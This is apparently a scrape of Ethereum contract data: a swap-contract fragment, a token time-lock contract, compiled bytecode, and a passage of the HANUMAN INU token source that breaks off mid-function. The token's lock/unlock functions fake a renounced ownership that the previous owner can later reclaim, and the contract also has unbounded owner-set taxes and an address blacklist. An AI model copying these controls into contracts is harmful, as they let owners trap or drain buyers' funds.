IERC20(_token).balanceOf(address(this)), path )[1]; sushiRouter.swapExactTokensForTokens( IERC20(_token).balanceOf(address(this)), out2, path, address(this), _deadline ); } function balance(address _token) external view returns (uint256) { return IERC20(_token).balanceOf(address(this)); } function changeWithdrawer(address _withdrawer) external { require (msg.sender == withdrawer, "Only withdrawer callable!!"); withdrawer = _withdrawer; } function withdraw(address _token) external { require (msg.sender == withdrawer, "Only withdrawer callable!!"); IERC20(_token).transfer(withdrawer, IERC20(_token).balanceOf(address(this))); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806351cff8d9146100675780636d13582c1461008357806374658e91146100a1578063a0e47bf6146100bd578063a868e65b146100db578063e3d670d7146100f7575b600080fd5b610081600480360381019061007c9190610ce9565b610127565b005b61008b6102d4565b6040516100989190610d75565b60405180910390f35b6100bb60048036038101906100b69190610dc6565b6102fa565b005b6100c5610afa565b6040516100d29190610d75565b60405180910390f35b6100f560048036038101906100f09190610ce9565b610b20565b005b610111600480360381019061010c9190610ce9565b610bf4565b60405161011e9190610e28565b60405180910390f35b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ae90610ea0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161022f9190610ecf565b602060405180830381865afa15801561024c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102709190610eff565b6040518363ffffffff1660e01b815260040161028d929190610f2c565b6020604051808303816000875af11580156102ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d09190610f8d565b5050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037f90611006565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660046000815481106103c0576103bf611026565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600460018154811061041e5761041d611026565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f8460046040518363ffffffff1660e01b81526004016104c6929190611179565b600060405180830381865afa1580156104e3573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061050c9190611302565b60018151811061051f5761051e611026565b5b60200260200101519050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518363ffffffff1660e01b81526004016105a8929190610f2c565b6020604051808303816000875af11580156105c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105eb9190610f8d565b50600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed17398483600430876040518663ffffffff1660e01b815260040161065095949392919061134b565b6000604051808303816000875af115801561066f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906106989190611302565b508373ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107119190610ecf565b602060405180830381865afa15801561072e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107529190610eff565b6040518363ffffffff1660e01b815260040161076f929190610f2c565b6020604051808303816000875af115801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b29190610f8d565b508360046000815481106107c9576107c8611026565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460018154811061084957610848611026565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f8673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161090a9190610ecf565b602060405180830381865afa158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b9190610eff565b60046040518363ffffffff1660e01b815260040161096a929190611179565b600060405180830381865afa158015610987573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906109b09190611302565b6001815181106109c3576109c2611026565b5b60200260200101519050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed17398673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a449190610ecf565b602060405180830381865afa158015610a61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a859190610eff565b83600430886040518663ffffffff1660e01b8152600401610aaa95949392919061134b565b6000604051808303816000875af1158015610ac9573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610af29190611302565b505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba790610ea0565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c2f9190610ecf565b602060405180830381865afa158015610c4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c709190610eff565b9050919050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610cb682610c8b565b9050919050565b610cc681610cab565b8114610cd157600080fd5b50565b600081359050610ce381610cbd565b92915050565b600060208284031215610cff57610cfe610c81565b5b6000610d0d84828501610cd4565b91505092915050565b6000819050919050565b6000610d3b610d36610d3184610c8b565b610d16565b610c8b565b9050919050565b6000610d4d82610d20565b9050919050565b6000610d5f82610d42565b9050919050565b610d6f81610d54565b82525050565b6000602082019050610d8a6000830184610d66565b92915050565b6000819050919050565b610da381610d90565b8114610dae57600080fd5b50565b600081359050610dc081610d9a565b92915050565b600080600060608486031215610ddf57610dde610c81565b5b6000610ded86828701610cd4565b9350506020610dfe86828701610db1565b9250506040610e0f86828701610db1565b9150509250925092565b610e2281610d90565b82525050565b6000602082019050610e3d6000830184610e19565b92915050565b600082825260208201905092915050565b7f4f6e6c7920776974686472617765722063616c6c61626c652121000000000000600082015250565b6000610e8a601a83610e43565b9150610e9582610e54565b602082019050919050565b60006020820190508181036000830152610eb981610e7d565b9050919050565b610ec981610cab565b82525050565b6000602082019050610ee46000830184610ec0565b92915050565b600081519050610ef981610d9a565b92915050565b600060208284031215610f1557610f14610c81565b5b6000610f2384828501610eea565b91505092915050565b6000604082019050610f416000830185610ec0565b610f4e6020830184610e19565b9392505050565b60008115159050919050565b610f6a81610f55565b8114610f7557600080fd5b50565b600081519050610f8781610f61565b92915050565b600060208284031215610fa357610fa2610c81565b5b6000610fb184828501610f78565b91505092915050565b7f4f6e6c79206f776e65722063616c6c61626c6521210000000000000000000000600082015250565b6000610ff0601583610e43565b9150610ffb82610fba565b602082019050919050565b6000602082019050818103600083015261101f81610fe3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081549050919050565b600082825260208201905092915050565b60008190508160005260206000209050919050565b61108f81610cab565b82525050565b60006110a18383611086565b60208301905092915050565b60008160001c9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ed6110e8836110ad565b6110ba565b9050919050565b600061110082546110da565b9050919050565b6000600182019050919050565b600061111f82611055565b6111298185611060565b935061113483611071565b8060005b8381101561116c57611149826110f4565b6111538882611095565b975061115e83611107565b925050600181019050611138565b5085935050505092915050565b600060408201905061118e6000830185610e19565b81810360208301526111a08184611114565b90509392505050565b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6111f7826111ae565b810181811067ffffffffffffffff82111715611216576112156111bf565b5b80604052505050565b6000611229610c77565b905061123582826111ee565b919050565b600067ffffffffffffffff821115611255576112546111bf565b5b602082029050602081019050919050565b600080fd5b600061127e6112798461123a565b61121f565b905080838252602082019050602084028301858111156112a1576112a0611266565b5b835b818110156112ca57806112b68882610eea565b8452602084019350506020810190506112a3565b5050509392505050565b600082601f8301126112e9576112e86111a9565b5b81516112f984826020860161126b565b91505092915050565b60006020828403121561131857611317610c81565b5b600082015167ffffffffffffffff81111561133657611335610c86565b5b611342848285016112d4565b91505092915050565b600060a0820190506113606000830188610e19565b61136d6020830187610e19565b818103604083015261137f8186611114565b905061138e6060830185610ec0565b61139b6080830184610e19565b969550505050505056fea2646970667358221220b957d3a5f4d93b6988b5a725434e32ca50fcfa3f1670dfcb592480063b673e5e64736f6c634300080c0033
[ 16, 7, 5 ]
0xf31acf20af82ecfbf8a22258295764a7fbdeb41f
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29548800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7b93b6d1588982d88bA144a6631Bbe70944D193f; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820d35836251de5ab576bac56d932d28d3659fb20d2e10e7d0f5e2adc6208d338dc0029
[ 16, 7 ]
0xf31b0cE911e5479Ec6D69ca99711a06E7D86Ac6E
// TG: https://t.me/hanumaninu , SLIPPAGE 14-17% // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract HANUMANINU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint256 private _totalSupply = 100 * 10**10 * 10**9; // supply : 1,000,000,000,000 $HANUMANINU uint256 public _maxbuy = 4 * 10**10 * 10**9; // maxtransaction 4% uint256 public _maxwallet = 5 * 10**10 * 10**9; //maxwallet 5% uint256 private minimumTokensBeforeSwap = 1000 * 10**9; uint256 public _totaltax = 0; uint256 public _cooldown = 0; address payable public marketingWallet = payable(0x82A5bA4803b00D41Fe130cB3836B8D3E9d6517a4); address payable public rewardsWallet = payable(0xd636B2F7794Ab4eBE3d384b581774B3A4A6EABD4); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; string private _name = "HANUMAN INU"; string private _symbol = "$HANUMANINU"; uint8 private _decimals = 9; uint256 public _autoliquidity = 2; uint256 public _marketing = 6; uint256 public _developer = 5; uint256 public _antidump = 4; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isBlacklisted; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; _totaltax = _autoliquidity.add(_marketing).add(_developer); _cooldown = _totaltax.add(_antidump); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapV2Pair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function blacklistAddress(address account, bool newValue) public onlyOwner { isBlacklisted[account] = newValue; } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function setTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newRewardsTax, uint256 newExtraFeeOnSell) external onlyOwner() { _autoliquidity = newLiquidityTax; _marketing = newMarketingTax; _developer = newRewardsTax; _antidump = newExtraFeeOnSell; _totaltax = _autoliquidity.add(_marketing).add(_developer); _cooldown = _totaltax.add(_antidump); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxbuy = maxTxAmount; } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function setWalletLimit(uint256 newLimit) external onlyOwner { 